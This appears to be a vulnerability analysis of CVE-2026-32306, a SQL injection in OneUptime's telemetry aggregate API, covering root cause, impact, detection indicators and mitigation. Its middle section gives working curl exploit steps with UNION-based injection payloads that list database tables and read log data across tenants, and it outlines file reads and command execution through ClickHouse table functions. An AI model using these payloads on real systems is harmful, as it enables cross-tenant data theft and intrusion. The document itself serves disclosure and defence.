CVE-2026-32306: 
JavaScript vulnerability analysis and mitigation

CVE-2026-32306 is a critical SQL injection vulnerability in OneUptime, an open-source monitoring and observability platform, affecting all versions prior to 10.0.23. The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries without any allowlist, parameterized binding, or input validation. The vulnerability was published on March 12, 2026, and fixed in version 10.0.23. It carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory, OneUptime Advisory).

The root cause is CWE-89 (SQL Injection): the POST /{modelName}/aggregate route in BaseAnalyticsAPI.ts deserializes the aggregateBy object directly from the request body with no schema validation. The aggregationType field is only checked for truthiness (not against an allowlist) in AnalyticsDatabaseService.ts:276, and the value is then passed to StatementGenerator.ts:527 where it is concatenated into a raw ClickHouse SQL string via the .append() method — a method explicitly documented as accepting "trusted SQL" and performing raw string concatenation (this.query += text). The aggregationTimestampColumnName parameter is similarly injected into GROUP BY clauses. Any authenticated user can craft a request to /api/log/aggregate, /api/span/aggregate, or /api/metric/aggregate with a UNION-based or function-based SQL payload to achieve arbitrary query execution against ClickHouse (OneUptime Advisory, GitHub Advisory).

Successful exploitation grants an authenticated attacker full control over the ClickHouse database backing OneUptime. Impacts include cross-tenant data theft (reading logs, traces, metrics, and exceptions from all tenants/projects), data manipulation (INSERT/ALTER/DROP operations destroying telemetry for all users), server-side file reads via ClickHouse's file() table function, SSRF via the url() table function, and potential remote code execution via the executable() table function. The scope change (S:C in CVSS) reflects that a single tenant's credentials can be leveraged to compromise data belonging to all other tenants on the same instance (OneUptime Advisory).

A detailed proof-of-concept exploit using curl commands is publicly available in the official security advisory, demonstrating UNION-based SQL injection to enumerate tables, read cross-tenant telemetry data, and read arbitrary files (OneUptime Advisory). The vulnerability requires only low-privilege authentication (any registered user), making it broadly exploitable. The EPSS score is approximately 0.528% (68th percentile), and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing (GitHub Advisory).

1. Authenticate: Obtain a session token by sending a POST request to the login endpoint:

TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password123"}' \
  | jq -r '.token')

2. Enumerate database schema: Send a crafted POST request to /api/log/aggregate with a UNION-based injection payload in aggregationType to list all tables in the oneuptime database:

curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{"aggregateBy":{"aggregationType":"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = \'oneuptime\' --","aggregateColumnName":"serviceId","aggregationTimestampColumnName":"createdAt"},"query":{}}'

3. Steal cross-tenant telemetry data: Modify the payload to read log bodies from all tenants:

curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{"aggregateBy":{"aggregationType":"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --","aggregateColumnName":"serviceId","aggregationTimestampColumnName":"createdAt"},"query":{}}'

4. Read sensitive files (if ClickHouse file() function is enabled): Inject a payload using ClickHouse's file() table function to read host files such as /etc/passwd.
5. Escalate to RCE (if ClickHouse executable() function is enabled): Use the executable() table function to execute OS commands on the ClickHouse container, achieving full remote code execution (OneUptime Advisory).

• Network: Unusual POST requests to /api/log/aggregate, /api/span/aggregate, or /api/metric/aggregate containing SQL keywords such as UNION, SELECT, FROM system., file(, url(, or executable( in the JSON body's aggregateBy fields.
• Logs: Application logs showing ClickHouse query errors or unexpected query structures referencing system.tables, system.one, or cross-tenant table names; API access logs with anomalously large response payloads from aggregate endpoints.
• ClickHouse Query Logs: ClickHouse system.query_log entries containing UNION statements, references to system.* tables, or calls to file(), url(), or executable() table functions originating from the OneUptime service account.
• Process/File System: Unexpected outbound HTTP connections from the ClickHouse container (indicating url() SSRF abuse); unexpected file access to sensitive paths (e.g., /etc/passwd, environment files) by the ClickHouse process.

Upgrade OneUptime to version 10.0.23 or later, which introduces allowlist validation for aggregationType and column name validation against known model columns (GitHub Advisory, OneUptime Advisory). As interim mitigations, implement network segmentation to restrict access to the telemetry aggregation API endpoints, and consider disabling ClickHouse table functions (file(), url(), executable()) in the ClickHouse configuration to limit the blast radius of any injection. Additionally, enforce strict role-based access controls to limit which users can reach the affected aggregate endpoints.

The vulnerability was reported by researcher simlarsen and published via the OneUptime GitHub security advisory on March 12, 2026. A technical write-up was published on infinitsec.net shortly after disclosure. The CVE received attention on Bluesky and other community tracking platforms, with general acknowledgment of the severity given the cross-tenant data exposure potential (OneUptime Advisory).